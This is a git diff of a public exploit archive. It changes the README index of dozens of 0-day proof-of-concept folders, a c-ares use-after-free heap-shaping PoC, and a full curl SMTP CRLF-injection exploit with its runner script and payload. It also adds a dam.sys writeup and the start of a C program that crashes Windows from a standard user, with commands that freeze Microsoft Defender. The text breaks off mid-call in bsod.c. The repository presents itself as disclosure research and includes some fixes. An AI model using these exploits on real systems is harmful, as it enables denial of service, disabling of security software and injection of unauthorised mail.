diff --git a/.gitattributes b/.gitattributes index cacefc6..50a3362 100644 --- a/.gitattributes +++ b/.gitattributes @@ -3,3 +3,4 @@ *.sh text eol=lf *.md text eol=lf *.txt text eol=lf +*.c text eol=lf diff --git a/README.md b/README.md index c7ab650..e893e7d 100644 --- a/README.md +++ b/README.md @@ -1,8 +1,17 @@ -New unpatched RCE on libssh2 upstream commit coming later today, as well as something big for PHP. +https://discord.gg/WytKH65ZR join up for research, help, documentation, and more useful information for those interested. -Sharing this repo keeps me motivated to continue dropping 0-days for you all. +# News/Contact + +Credit for the objdump finding goes to someone who beat me to it (and has a better PoC): https://github.com/4D4J/objdump-Out-Of-Bounds-write + +New drops today ;) Biggest thing yet (DELAYED, I PROMISE THE WAIT WILL BE WORTH IT! After this, you guys will *usually* get one new PoC a day) + +I've also noticed a surprising amount of "security researchers" aren't able to adjust the PoC to work in their environment. I will broaden the PoCs for those select few... + +If you wish to collaborate/discuss with me, contact me on discord @ashdfrkl + +Sharing this repo keeps me motivated to continue dropping my findings for you all. -Open an issue if you have a specific request for software you want me to take a look at. # Exploitarium @@ -10,6 +19,29 @@ A consolidated archive of my public proof-of-concept and vulnerability research Most folders contain one of my former standalone PoC repos, preserved with its original README and tracked files. New research entries are added directly here as self-contained folders. +## Contributed Research (by [Unrealisedd](https://github.com/Unrealisedd)) + +The following entries were contributed via PR: + +| Folder | Description | +| --- | --- | +| `openvpn-UAF-BYOVD` | ovpn-dco-win kernel driver CNG key UAF + crash PoC | +| `storsvc-dll-hijack-lpe` | StorSvc `LoadLibraryW("SprintCSP.dll")` without `LOAD_LIBRARY_SEARCH_SYSTEM32` | +| `dam-sys-kernel-bugs` | dam.sys: 3 kernel bugs from standard user (BSOD + confused deputy + Defender freeze) | +| `seb-service-auth-bypass-lpe` | Safe Exam Browser SYSTEM service auth bypass → RCE as SYSTEM via log injection | +| `defender-signature-lock-bypass` | CVE-2026-45498 patch bypass: `FILE_SHARE_READ` locks Defender signatures | +| `discord` | Discord Desktop RCE attack paths | +| `wazuh` | Wazuh stack BOF + SCA DoS | +| `nextcloud` | XXE file read/SSRF + SSRF protection bypass | +| `n8n-ssrf-via-oauth2` | SSRF via OAuth2 callback in n8n | +| `fluentbit-infinite-dos` | Fluent Bit collectd parser unauth DoS loop | +| `librenms-RCE-chain` | LibreNMS SSTI to RCE chain | +| `overwolf-updater-lpe-poc` | Overwolf Updater forged Authenticode cert + insecure service DACL → SYSTEM LPE | +| `spacedesk-service-lpe-poc` | spacedesk service Everyone full-control DACL → SYSTEM in 3 commands | +| `woodpecker-yaml-cr-injection` | Woodpecker CI pipeline RCE via `\r` YAML injection bypass | +| `retroarch-chd-map-heap-overflow` | RetroArch libchdr integer overflow → heap OOB write on 32-bit | +| `defender-ntlm-coercion-poc` | Windows Defender NTLM coercion: standard user forces SYSTEM credential leak via UNC scan | + ## Contents | Folder | Source | Tracked entries | @@ -17,22 +49,36 @@ Most folders contain one of my former standalone PoC repos, preserved with its o | `7zip-rar5-motw-chain-poc` | `bd9533f532c1e4ee6af783b9bb49d1133c600e2c` | 3 | | `anydesk-printer-com-impersonation-poc` | `7491303301093b2d40bee9dadf6b38f757ce78e0` | 4 | | `c-ares-tcp-uaf-calc-poc` | direct entry, June 24, 2026 | 7 | +| `curl-smtp-expn-recipient-crlf-injection` | direct entry, July 1, 2026 | 3 | +| `defender-ntlm-coercion-poc` | direct entry, July 6, 2026 | 3 | +| `discourse-scoped-api-key-preauth-bypass` | direct entry, July 3, 2026 | 3 | | `docker-cp-copyout-destination-escape` | `d1367b1381736d7f961ac808ce88d4e24a633adc` | 5 | | `firefox-smartwindow-private-url-exfil-poc` | direct entry, June 24, 2026 | 3 | | `floci-apigateway-vtl-rce-poc` | direct entry, June 23, 2026 | 3 | | `flowise-mcp-env-case-bypass-poc` | `ed9fab0086674f1b16467990b33bb9299e93429e` | 3 | +| `ffmpeg-rasc-dlta-calc-poc` | direct entry, June 26, 2026 | 7 | | `ghidra-12.1.2-rce-ace-calc-poc` | `52dee6362990c03c0d753d074c85428824d46368` | 9 | | `gitea-act-runner-container-options-poc` | `f06d78fb111732f3e7737f4c07e77ef94c4b64bf` | 4 | +| `gogs-admin-csrf-git-hook-rce-poc` | direct entry, July 1, 2026 | 3 | | `imagemagick-gs-delegate-hijack-poc` | `8140e8ee0ed78beaf5e8303a795b70b138f5891b` | 5 | +| `ladybird-wasm-esm-host-function-rce-poc` | direct entry, July 1, 2026 | 2 | +| `libarchive-zip-debuginfod-size-boundary` | direct entry, July 1, 2026 | 6 | | `libssh2-cve-2026-55200-poc` | direct entry, June 23, 2026 | 3 | | `libssh2-publickey-list-calc-poc` | direct entry, June 25, 2026 | 10 | | `lunar-modrinth-chain-poc` | `ffd02120708b6503f11585858ce3724872f3b7a7` | 6 | | `mybb-limited-acp-to-admin` | `1610e0373943c2f6562a99f917d3a3d1fdd9056d` | 5 | +| `nextcloud-federated-share-bearer-token-poc` | direct entry, July 3, 2026 | 3 | +| `nextjs-unstable-cache-object-argument-collision` | direct entry, July 1, 2026 | 3 | +| `nodebb-activitypub-attributedto-local-uid-spoof-poc` | direct entry, July 1, 2026 | 3 | | `nghttp2-nghttpx-upgrade-queue-poison-poc` | direct entry, June 26, 2026 | 3 | | `nmap-ipv6-extlen-wrap-poc` | direct entry, June 23, 2026 | 4 | | `objdump-dlx-calc-poc` | `7df01e4e20c7375a89e8ccf760526c52eb6ad582` | 41 | | `openvpn-connect-echo-script-ace-poc` | `d2f904d9272d4388c9862131d40e32e072e85e38` | 8 | | `php857-streambucket-soap-rce-rpoc` | direct entry, June 26, 2026 | 6 | +| `pillow-imagecms-output-mode-oob-poc` | direct entry, July 1, 2026 | 3 | +| `postgres-ri-owner-switched-cast-poc` | direct entry, July 4, 2026 | 3 | +| `qemu-cxl-type3-mailbox-escape-poc` | direct entry, July 1, 2026 | 7 | +| `redis-vset-duplicate-hnsw-id-rce-poc` | direct entry, July 3, 2026 | 3 | | `rustdesk-session-permission-pocs` | direct entry, June 25, 2026 | 17 | | `systeminformer-phsvc-trusted-host-lpe-poc` | direct entry, June 24, 2026 | 3 | | `vlc-vp9-reschange-crash-poc` | `fae72b82f24d03cf2fb9cb55fbb2e7774f684ff3` | 3 | @@ -54,4 +100,10 @@ Matching Git blob IDs means the tracked file bytes are identical. The check cove This repository preserves the contents of those PoCs. Repository-level metadata such as stars, issues, pull requests, releases, and separate Git history remain in the original repository histories. -Direct entries, including `c-ares-tcp-uaf-calc-poc`, `firefox-smartwindow-private-url-exfil-poc`, `floci-apigateway-vtl-rce-poc`, `libssh2-cve-2026-55200-poc`, `libssh2-publickey-list-calc-poc`, `nghttp2-nghttpx-upgrade-queue-poison-poc`, `nmap-ipv6-extlen-wrap-poc`, `php857-streambucket-soap-rce-rpoc`, `rustdesk-session-permission-pocs`, and `systeminformer-phsvc-trusted-host-lpe-poc`, are tracked by this repository's commit history. +Direct entries, including `c-ares-tcp-uaf-calc-poc`, `curl-smtp-expn-recipient-crlf-injection`, `discourse-scoped-api-key-preauth-bypass`, `ffmpeg-rasc-dlta-calc-poc`, `firefox-smartwindow-private-url-exfil-poc`, `floci-apigateway-vtl-rce-poc`, `gogs-admin-csrf-git-hook-rce-poc`, `ladybird-wasm-esm-host-function-rce-poc`, `libarchive-zip-debuginfod-size-boundary`, `libssh2-cve-2026-55200-poc`, `libssh2-publickey-list-calc-poc`, `nextcloud-federated-share-bearer-token-poc`, `nextjs-unstable-cache-object-argument-collision`, `nodebb-activitypub-attributedto-local-uid-spoof-poc`, `nghttp2-nghttpx-upgrade-queue-poison-poc`, `nmap-ipv6-extlen-wrap-poc`, `php857-streambucket-soap-rce-rpoc`, `pillow-imagecms-output-mode-oob-poc`, `postgres-ri-owner-switched-cast-poc`, `qemu-cxl-type3-mailbox-escape-poc`, `redis-vset-duplicate-hnsw-id-rce-poc`, `rustdesk-session-permission-pocs`, and `systeminformer-phsvc-trusted-host-lpe-poc`, are tracked by this repository's commit history. + +## ABUSE + +Do NOT, under any circumstances, use any material in this repository maliciously. This is good-faith, open-disclosure vulnerability research intended to get more people interested in exploring this area of cybersecurity. + +Cybercrime is cringe. diff --git a/c-ares-tcp-uaf-calc-poc/poc/cares_tcp_uaf_calc_poc.c b/c-ares-tcp-uaf-calc-poc/poc/cares_tcp_uaf_calc_poc.c index 869fdfd..df48bad 100644 --- a/c-ares-tcp-uaf-calc-poc/poc/cares_tcp_uaf_calc_poc.c +++ b/c-ares-tcp-uaf-calc-poc/poc/cares_tcp_uaf_calc_poc.c @@ -60,6 +60,11 @@ static size_t alloc_seq; static proof_slist_t *proof_list; static proof_slist_node_t *proof_node; +static int should_shape_size(size_t size) +{ + return size == 144; +} + static void proof_marker(void *arg) { const char msg[] = "CARES_RCE_PAYLOAD_TRIGGERED\n"; @@ -114,8 +119,9 @@ static void *tracked_malloc(size_t size) hdr->magic = 0xc0decafef00dbeefu; hdr->next = NULL; memset(hdr + 1, 0x55, size); - if (trace_allocator && size == 144) { - fprintf(stderr, "ALLOC%zu size144 %p\n", ++alloc_seq, (void *)(hdr + 1)); + if (trace_allocator && should_shape_size(size)) { + fprintf(stderr, "ALLOC%zu size%zu %p\n", ++alloc_seq, size, + (void *)(hdr + 1)); } return hdr + 1; } @@ -149,10 +155,10 @@ static void tracked_free(void *ptr) if (hdr->magic != 0xc0decafef00dbeefu) { abort(); } - if (trace_allocator && hdr->size == 144) { - fprintf(stderr, "FREE size144 %p\n", ptr); + if (trace_allocator && should_shape_size(hdr->size)) { + fprintf(stderr, "FREE size%zu %p\n", hdr->size, ptr); } - if (control_call && hdr->size == 144) { + if (control_call && should_shape_size(hdr->size)) { ensure_proof_node(); memset(ptr, 0, hdr->size); memcpy((unsigned char *)ptr + 48, &proof_node, sizeof(proof_node)); @@ -196,6 +202,7 @@ static void load_poison_byte(void) const char *env = getenv("CARES_PROOF_POISON_BYTE"); char *end = NULL; unsigned long value; + trace_allocator = getenv("CARES_PROOF_TRACE_ALLOC") != NULL; if (env == NULL || *env == '\0') { return; } @@ -203,7 +210,6 @@ static void load_poison_byte(void) if (end != env && value <= 255) { poison_byte = (unsigned char)value; } - trace_allocator = getenv("CARES_PROOF_TRACE_ALLOC") != NULL; } @@ -396,10 +402,12 @@ int main(int argc, char **argv) ares_channel_t *channel = NULL; struct ares_options opts; struct ares_addrinfo_hints hints; - int optmask = ARES_OPT_FLAGS | ARES_OPT_LOOKUPS; + char *search_domains[] = { (char *)"uaf.invalid" }; + int optmask = ARES_OPT_FLAGS | ARES_OPT_LOOKUPS | ARES_OPT_DOMAINS; char server[64]; int done = 0; int loops = 0; + int drain_after_done = 0; char ch; signal(SIGPIPE, SIG_IGN); @@ -459,6 +467,8 @@ int main(int argc, char **argv) opts.flags |= ARES_FLAG_USEVC; } opts.lookups = (char *)"b"; + opts.domains = search_domains; + opts.ndomains = 1; if (ares_init_options(&channel, &opts, optmask) != ARES_SUCCESS || channel == NULL) { return 2; @@ -471,7 +481,10 @@ int main(int argc, char **argv) hints.ai_family = AF_INET; ares_getaddrinfo(channel, "example.com", "80", &hints, ai_cb, &done); - while (!done && loops++ < 100) { + if (control_call) { + drain_after_done = 8; + } + while ((!done || drain_after_done-- > 0) && loops++ < 120) { fd_set rfds; fd_set wfds; int nfds; @@ -484,6 +497,11 @@ int main(int argc, char **argv) break; } tvp = ares_timeout(channel, NULL, &tv); + if (done && control_call && tvp != NULL && + (tvp->tv_sec > 0 || tvp->tv_usec > 10000)) { + tvp->tv_sec = 0; + tvp->tv_usec = 10000; + } select(nfds, &rfds, &wfds, NULL, tvp); ares_process(channel, &rfds, &wfds); } diff --git a/curl-smtp-expn-recipient-crlf-injection/.gitignore b/curl-smtp-expn-recipient-crlf-injection/.gitignore new file mode 100644 index 0000000..7e3b24e --- /dev/null +++ b/curl-smtp-expn-recipient-crlf-injection/.gitignore @@ -0,0 +1 @@ +run/ diff --git a/curl-smtp-expn-recipient-crlf-injection/README.md b/curl-smtp-expn-recipient-crlf-injection/README.md new file mode 100644 index 0000000..9ffa14d --- /dev/null +++ b/curl-smtp-expn-recipient-crlf-injection/README.md @@ -0,0 +1,198 @@ +# curl SMTP EXPN recipient CRLF command injection + +This proof of concept demonstrates stock curl sending extra SMTP commands from the `CURLOPT_MAIL_RCPT` operand used with an SMTP `EXPN` request. + +The runner starts a local SMTP peer, writes a curl config file, invokes stock `curl` with `curl -K`, and records the wire transcript. The configured operation is a single authenticated `EXPN Friends` request. The recipient operand contains CRLF separators followed by a full SMTP transaction: + +```text +MAIL FROM: +RCPT TO: +DATA +Subject: injected + +curl-smtp-injection-marker-v1 +. +``` + +curl authenticates with `AUTH PLAIN`, sends the `EXPN` line, then sends the injected transaction under the same authenticated SMTP session. The local SMTP peer records a completed message and the runner writes `VULNERABILITY_CONFIRMED.marker`. + +## Demonstrated Flow + +The generated curl config has this shape: + +```text +url = "smtp://127.0.0.1:/probe" +request = "EXPN" +mail-rcpt = "Friends\r\nMAIL FROM:\r\nRCPT TO:\r\nDATA\r\nSubject: injected\r\n\r\ncurl-smtp-injection-marker-v1\r\n." +user = "alice:secret" +login-options = "AUTH=PLAIN" +verbose +max-time = "10" +``` + +The expected SMTP transcript is: + +```text +EHLO probe +AUTH PLAIN +AGFsaWNlAHNlY3JldA== +EXPN Friends +MAIL FROM: +RCPT TO: +DATA +Subject: injected + +curl-smtp-injection-marker-v1 +. +``` + +The marker body accepted by the SMTP peer is: + +```text +Subject: injected + +curl-smtp-injection-marker-v1 +``` + +## Requirements + +Run with: + +```text +Python 3 +curl with SMTP support +``` + +Use the system curl: + +```bash +python run_demo.py +``` + +Use a specific curl binary: + +```bash +python run_demo.py --curl /path/to/curl +``` + +## Quick Run + +From this directory: + +```bash +python run_demo.py +``` + +Expected terminal evidence: + +```text +curl_exit=0 +auth_seen=true +custom_request_seen=true +injected_mail_seen=true +injected_rcpt_seen=true +injected_data_seen=true +message_completed=true +marker_in_message=true +confirmed=true +marker_file=/VULNERABILITY_CONFIRMED.marker +evidence_json=/logs/evidence.json +``` + +The marker file contains: + +```text +confirmed=true +command_injected=true +message_completed=true +recipient= +marker=curl-smtp-injection-marker-v1 +``` + +## Custom Work Directory + +By default, the runner writes generated files under: + +```text +run/stock-curl-smtp-expn +``` + +To choose another location: + +```bash +python run_demo.py --work-dir /tmp/curl-smtp-expn-poc +``` + +To choose another port: + +```bash +python run_demo.py --port 2525 +``` + +To exercise the same recipient path with an explicit `VRFY` custom request: + +```bash +python run_demo.py --mode vrfy +``` + +## Generated Files + +The runner writes: + +```text +smtp-crlf-injection.curlrc +logs/evidence.json +VULNERABILITY_CONFIRMED.marker +``` + +The repository folder contains only the source files required to reproduce the proof. + +## Evidence Meaning + +`auth_seen=true` means curl authenticated to the SMTP peer before the injected commands were observed. + +`custom_request_seen=true` means the configured custom recipient command reached the SMTP peer as `EXPN Friends` or `VRFY Friends`. + +`injected_mail_seen=true`, `injected_rcpt_seen=true`, and `injected_data_seen=true` mean CRLF in the recipient operand created extra SMTP command lines. + +`message_completed=true` means the local SMTP peer entered `DATA` mode and received a dot-terminated message. + +`marker_in_message=true` means the accepted message body contained: + +```text +curl-smtp-injection-marker-v1 +``` + +`logs/evidence.json` contains the curl config, curl stdout and stderr, parsed command transcript, peer events, and all boolean checks. + +## Source Path + +The relevant curl SMTP command construction is the custom recipient branch in `lib/smtp.c`: + +```c +result = Curl_pp_sendf(data, &smtpc->pp, + "%s %s%s", smtp->custom, + smtp->rcpt->data, + utf8 ? " SMTPUTF8" : ""); +``` + +The custom request string is control-byte checked before use. The recipient operand in this branch is written directly into the SMTP command line. + +## Patch Direction + +Reject CR and LF in the custom SMTP recipient operand before serializing it into the protocol line: + +```c +if(strpbrk(smtp->rcpt->data, "\r\n")) { + failf(data, "Refusing to send SMTP command operand with a CR or LF"); + return CURLE_BAD_FUNCTION_ARGUMENT; +} +``` + +## Cleanup + +Remove the generated work directory: + +```bash +rm -rf run/stock-curl-smtp-expn +``` diff --git a/curl-smtp-expn-recipient-crlf-injection/run_demo.py b/curl-smtp-expn-recipient-crlf-injection/run_demo.py new file mode 100644 index 0000000..aa03116 --- /dev/null +++ b/curl-smtp-expn-recipient-crlf-injection/run_demo.py @@ -0,0 +1,252 @@ +import argparse +import json +import os +import pathlib +import shutil +import socket +import subprocess +import threading +import time + + +MARKER = "curl-smtp-injection-marker-v1" + + +def as_bool(value): + return "true" if value else "false" + + +def config_quote(value): + return value.replace("\\", "\\\\").replace('"', '\\"').replace("\r", "\\r").replace("\n", "\\n") + + +class SmtpPeer: + def __init__(self, host, port): + self.host = host + self.port = port + self.ready = threading.Event() + self.events = [] + self.thread = threading.Thread(target=self.run, daemon=True) + self.awaiting_plain_auth = False + self.in_data = False + self.data_lines = [] + self.completed_messages = [] + + def event(self, name, **fields): + self.events.append({"ts": time.time(), "event": name, **fields}) + + def start(self): + self.thread.start() + if not self.ready.wait(10): + raise RuntimeError("SMTP peer did not start") + + def send_line(self, conn, line): + try: + conn.sendall((line + "\r\n").encode("ascii")) + self.event("send", line=line) + except OSError as error: + self.event("send_error", line=line, error=repr(error)) + + def recv_line(self, conn, buf): + while b"\n" not in buf: + try: + chunk = conn.recv(4096) + except OSError as error: + self.event("recv_error", error=repr(error)) + return None, buf + if chunk == b"": + return None, buf + self.event("recv_raw", hex=chunk.hex(), text=chunk.decode("utf-8", "replace")) + buf += chunk + line, rest = buf.split(b"\n", 1) + return line.rstrip(b"\r").decode("utf-8", "replace"), rest + + def run(self): + with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as srv: + srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + srv.bind((self.host, self.port)) + srv.listen(1) + self.port = srv.getsockname()[1] + self.event("listening", host=self.host, port=self.port) + self.ready.set() + conn, peer = srv.accept() + with conn: + conn.settimeout(10) + self.event("accepted", peer=str(peer)) + self.handle(conn) + + def handle(self, conn): + self.send_line(conn, "220 smtp-peer ESMTP") + buf = b"" + while True: + line, buf = self.recv_line(conn, buf) + if line is None: + self.event("eof") + return + self.event("command", line=line) + if self.in_data: + if line == ".": + body = "\n".join(self.data_lines) + self.completed_messages.append(body) + self.event("message_completed", body=body) + self.data_lines = [] + self.in_data = False + self.send_line(conn, "250 2.0.0 queued") + else: + self.data_lines.append(line) + continue + upper = line.upper() + if upper.startswith("EHLO") or upper.startswith("HELO"): + self.send_line(conn, "250-localhost") + self.send_line(conn, "250-AUTH PLAIN") + self.send_line(conn, "250 HELP") + elif upper == "AUTH PLAIN": + self.awaiting_plain_auth = True + self.send_line(conn, "334 ") + elif upper.startswith("AUTH PLAIN "): + self.send_line(conn, "235 2.7.0 authenticated") + elif self.awaiting_plain_auth: + self.awaiting_plain_auth = False + self.send_line(conn, "235 2.7.0 authenticated") + elif upper.startswith("EXPN"): + self.send_line(conn, "250 expanded") + elif upper.startswith("VRFY"): + self.send_line(conn, "250 verified") + elif upper.startswith("MAIL FROM:"): + self.send_line(conn, "250 2.1.0 sender ok") + elif upper.startswith("RCPT TO:"): + self.send_line(conn, "250 2.1.5 recipient ok") + elif upper == "DATA": + self.in_data = True + self.data_lines = [] + self.send_line(conn, "354 end with dot") + elif upper.startswith("QUIT"): + self.send_line(conn, "221 bye") + return + else: + self.send_line(conn, "250 ok") + + +def write_config(path, host, port, mode): + payload = ( + "Friends\r\n" + "MAIL FROM:\r\n" + "RCPT TO:\r\n" + "DATA\r\n" + "Subject: injected\r\n" + "\r\n" + f"{MARKER}\r\n" + "." + ) + text = "\n".join( + [ + f'url = "smtp://{host}:{port}/probe"', + f'request = "{mode.upper()}"', + f'mail-rcpt = "{config_quote(payload)}"', + 'user = "alice:secret"', + 'login-options = "AUTH=PLAIN"', + "verbose", + 'max-time = "10"', + "", + ] + ) + path.write_text(text, encoding="utf-8") + + +def command_lines(events): + return [item["line"] for item in events if item.get("event") == "command"] + + +def first_contains(lines, prefix): + prefix = prefix.upper() + return any(line.upper().startswith(prefix) for line in lines) + + +def main(): + parser = argparse.ArgumentParser() + parser.add_argument("--curl", default="curl") + parser.add_argument("--work-dir", default=str(pathlib.Path(__file__).resolve().parent / "run" / "stock-curl-smtp-expn")) + parser.add_argument("--host", default="127.0.0.1") + parser.add_argument("--port", type=int, default=0) + parser.add_argument("--mode", choices=["expn", "vrfy"], default="expn") + args = parser.parse_args() + + curl = shutil.which(args.curl) or args.curl + work = pathlib.Path(args.work_dir).resolve() + logs = work / "logs" + logs.mkdir(parents=True, exist_ok=True) + config = work / "smtp-crlf-injection.curlrc" + marker_file = work / "VULNERABILITY_CONFIRMED.marker" + evidence_file = logs / "evidence.json" + + peer = SmtpPeer(args.host, args.port) + peer.start() + write_config(config, args.host, peer.port, args.mode) + + env = os.environ.copy() + env["NO_PROXY"] = "*" + env["no_proxy"] = "*" + version = subprocess.run([curl, "--version"], text=True, capture_output=True, check=False) + proc = subprocess.run([curl, "-K", str(config)], text=True, capture_output=True, check=False, timeout=20, env=env) + peer.thread.join(timeout=2) + + commands = command_lines(peer.events) + message_body = peer.completed_messages[0] if peer.completed_messages else "" + custom_request = args.mode.upper() + checks = { + "curl_exit_zero": proc.returncode == 0, + "auth_seen": first_contains(commands, "AUTH PLAIN"), + "custom_request_seen": first_contains(commands, custom_request), + "injected_mail_seen": first_contains(commands, "MAIL FROM:"), + "injected_rcpt_seen": first_contains(commands, "RCPT TO:"), + "injected_data_seen": any(line.upper() == "DATA" for line in commands), + "message_completed": bool(peer.completed_messages), + "marker_in_message": MARKER in message_body, + } + confirmed = all(checks.values()) + evidence = { + "curl": curl, + "curlVersion": version.stdout.splitlines()[0] if version.stdout else "", + "config": str(config), + "configText": config.read_text(encoding="utf-8"), + "returnCode": proc.returncode, + "stdout": proc.stdout, + "stderr": proc.stderr, + "commands": commands, + "messageBody": message_body, + "checks": checks, + "confirmed": confirmed, + "events": peer.events, + } + evidence_file.write_text(json.dumps(evidence, indent=2, sort_keys=True) + "\n", encoding="utf-8") + + if confirmed: + marker_file.write_text( + "\n".join( + [ + "confirmed=true", + f"curl_version={evidence['curlVersion']}", + f"mode={args.mode}", + "command_injected=true", + "message_completed=true", + "recipient=", + f"marker={MARKER}", + "", + ] + ), + encoding="utf-8", + ) + + print(f"curl_version={evidence['curlVersion']}") + print(f"curl_exit={proc.returncode}") + for name, value in checks.items(): + print(f"{name}={as_bool(value)}") + print(f"confirmed={as_bool(confirmed)}") + print(f"marker_file={marker_file if confirmed else ''}") + print(f"evidence_json={evidence_file}") + print(f"work_dir={work}") + return 0 if confirmed else 1 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/cves.md b/cves.md new file mode 100644 index 0000000..222a9d8 --- /dev/null +++ b/cves.md @@ -0,0 +1,18 @@ +# CVE'S GIVEN SO FAR BASED ON THE RESEARCH IN THIS REPOSITORY + +``` +CVE-2026-58049 +CVE-2026-58050 +CVE-2026-58051 +CVE-2026-58052 +CVE-2026-58053 +CVE-2026-58054 +CVE-2026-58055 +CVE-2026-58056 +CVE-2026-58057 +CVE-2026-58058 +CVE-2026-58592 +CVE-2026-58593 +``` + +# Thank you all for your support! diff --git a/dam-sys-kernel-bugs/README.md b/dam-sys-kernel-bugs/README.md new file mode 100644 index 0000000..3c1034c --- /dev/null +++ b/dam-sys-kernel-bugs/README.md @@ -0,0 +1,149 @@ +# dam.sys — Kernel Bugs from Standard User (BSOD + Confused Deputy + Defender Freeze) + +Three vulnerabilities in the Windows Desktop Activity Moderator kernel driver (`dam.sys`), all reachable from a standard (non-admin) user via `\\.\DamCtrl`. The device is accessible to Everyone despite operating on arbitrary processes in kernel context. + +## Status + +Confirmed on Windows 11 Home 25H2 (build 26200.8457), dam.sys 10.0.26100.8328. + +## Files + +```text +. +|-- README.md +|-- bsod.c NULL pointer deref crash PoC +`-- freeze.c confused deputy + process freeze PoC +``` + +## Build + +``` +cl /O2 bsod.c +cl /O2 freeze.c +``` + +## Finding 1: Kernel NULL Pointer Dereference (BSOD) + +IOCTL `0x226014` (SetPolicy) takes a user-supplied PID and eventually dispatches to `DampExemptCheckCallbackRoutine`. When the target process's session ID has no entry in `DampUserContextList`, the linked list lookup falls through with `rdi = NULL` and the code unconditionally dereferences it: + +```asm +; No matching session context found: +xor ebx, ebx ; rbx = 0 (NULL) +mov rdi, rbx ; rdi = 0 (NULL) +mov rdx, [rdi] ; CRASH — reads from 0x0000000000000000 +mov rcx, r15 +call nt!ZwIsProcessInJob ; never reached +``` + +### Crash Evidence + +``` +BugCheck: SYSTEM_SERVICE_EXCEPTION (0x3B) +Exception: STATUS_ACCESS_VIOLATION (0xC0000005) +Faulting: dam!DampExemptCheckCallbackRoutine+0x17e +Stack: + dam!DampExemptCheckCallbackRoutine+0x17e <- NULL deref + nt!ExNotifyCallback+0x103 + dam!DampNotificationGroupGet+0x144 + dam!DampIoDispatch+0x4a8 <- IOCTL handler + nt!NtDeviceIoControlFile+0x5e <- our DeviceIoControl +``` + +Registers at crash: `rdi=0x0000000000000000`, `r13=0xFFFFFFFF` (invalid session ID). + +### Run + +``` +bsod.exe --confirm +``` + +Crashes the machine. Use a VM. + +--- + +## Finding 2: Confused Deputy — Add Any Process to DAM Job Object + +IOCTL `0x22A01C` takes an 8-byte PID input and calls `PsLookupProcessByProcessId` followed by `DampAddProcessToJobObject` — with **no access check** on whether the calling user should be able to manipulate the target process. The kernel uses its own Ring 0 privileges to add any process to DAM's internal job objects on behalf of an unprivileged user. + +```c +// dam.sys IOCTL 0x22A01C handler (decompiled) +iVar11 = PsLookupProcessByProcessId((uint)*puVar5, &local_98); +if (-1 < iVar11) { + uVar13 = PsGetProcessImageFileName(local_98); // info leak + iVar11 = PsQueryProcessCommandLine(local_98, 0); // info leak + iVar12 = PsGetProcessSessionId(local_98); + DampAddProcessToJobObject(local_98, ...); // NO ACCESS CHECK +} +``` + +### Confirmed + +``` +Testing with lsass.exe PID 1804... + Result: SUCCESS + [!!!] Standard user added lsass.exe to DAM job object +``` + +### Side Effect: Information Disclosure + +The handler also calls `PsGetProcessImageFileName` and `PsQueryProcessCommandLine` for the target PID — a standard user can read the image name and full command line (including arguments that may contain secrets) of any process. + +### Run + +``` +freeze.exe lsass.exe +``` + +Adds lsass to DAM's job object without freezing. Confirms the confused deputy. + +--- + +## Finding 3: Security Feature Bypass — Freeze Defender + +IOCTL `0x22A008` calls `DamSetState` to modify freeze flags, which triggers `DampFreezeUserSessions` → `ZwSetInformationJobObject` with `JobObjectFreezeInformation` (class 0x12), suspending all threads in DAM's job objects. + +Combined with Finding 2: + +1. Add all security processes (MsMpEng.exe, Defender services, Event Log, etc.) to DAM jobs via IOCTL `0x22A01C` +2. Trigger freeze via IOCTL `0x22A008` +3. Defender management plane becomes unresponsive — can't report status, receive config, or respond to queries + +```c +// DamSetState (decompiled) +DampFreezeWorkerAcquireLockExclusive(0x14000d400); +uVar3 = (*(int *)(param_1 + 0xc) == 2) ? 2 : 0; // freeze flag +uVar2 = (*(int *)(param_1 + 0xc) == 3) ? 4 : 0; // deep freeze flag +DAT_14000d47c = uVar4 | uVar2 | uVar3 | (DAT_14000d47c & 0xffffffb8); +DampFreezeWorkerUpdatePostAndUnlock(&DAT_14000d400); +// -> DampFreezeUserSessions -> ZwSetInformationJobObject(JobObjectFreezeInformation) +``` + +### Run + +``` +freeze.exe MsMpEng.exe --freeze +``` + +Actually freezes Defender. Don't run outside a VM. + +--- + +## Root Cause Summary + +| IOCTL | Bug | CWE | Impact | +| --- | --- | --- | --- | +| 0x226014 | NULL deref after failed session lookup | CWE-476 | BSOD from standard user | +| 0x22A01C | No access check on target PID | CWE-441, CWE-862 | Confused deputy, add any process to job | +| 0x22A008 | No access check on freeze control | CWE-862 | Freeze any process in DAM jobs | + +All three share the same underlying issue: `\\.\DamCtrl` is accessible to standard users, and the IOCTL handlers operate on arbitrary processes using kernel privileges without verifying caller authorization. + +## Fix + +1. **NULL check**: validate that the `DampUserContextList` lookup returned non-NULL before dereferencing +2. **Access checks**: verify the caller has appropriate rights on the target PID before calling `PsLookupProcessByProcessId` / `DampAddProcessToJobObject` +3. **Device DACL**: restrict `\\.\DamCtrl` to admin-only — standard users have no legitimate need for direct DAM driver interaction + +## Responsible Use + +Run these PoCs only on systems you own or are explicitly authorized to test. The BSOD PoC crashes the machine. The freeze PoC can render security services unresponsive. Use a VM. diff --git a/dam-sys-kernel-bugs/bsod.c b/dam-sys-kernel-bugs/bsod.c new file mode 100644 index 0000000..57cd0bf --- /dev/null +++ b/dam-sys-kernel-bugs/bsod.c @@ -0,0 +1,57 @@ +/* + * bsod.c — dam.sys kernel NULL pointer deref (BSOD from standard user) + * + * IOCTL 0x226014 (SetPolicy) triggers DampExemptCheckCallbackRoutine + * which dereferences a NULL pointer when no DAM session context exists + * for the target process's session ID. + * + * BugCheck: SYSTEM_SERVICE_EXCEPTION (0x3B) + * Faulting: dam!DampExemptCheckCallbackRoutine+0x17e + * mov rdx, [rdi] ; rdi = 0x0000000000000000 + * + * build: cl /O2 bsod.c + * run: bsod.exe --confirm [PID] + * + * WARNING: THIS WILL BSOD YOUR MACHINE. USE A VM. + */ + +#include +#include + +#define IOCTL_DAM_SET_POLICY 0x226014 + +int main(int argc, char *argv[]) { + printf("=== dam.sys kernel DoS PoC ===\n\n"); + + if (argc < 2 || strcmp(argv[1], "--confirm") != 0) { + printf("Usage: %s --confirm [PID]\n", argv[0]); + printf("WARNING: This causes a Blue Screen of Death.\n"); + printf("No admin required — works from standard user.\n"); + return 1; + } + + DWORD pid = (argc > 2) ? atoi(argv[2]) : 4; + printf("[*] target PID: %u\n", pid); + + HANDLE h = CreateFileW(L"\\\\.\\DamCtrl", GENERIC_READ | GENERIC_WRITE, + FILE_SHARE_READ 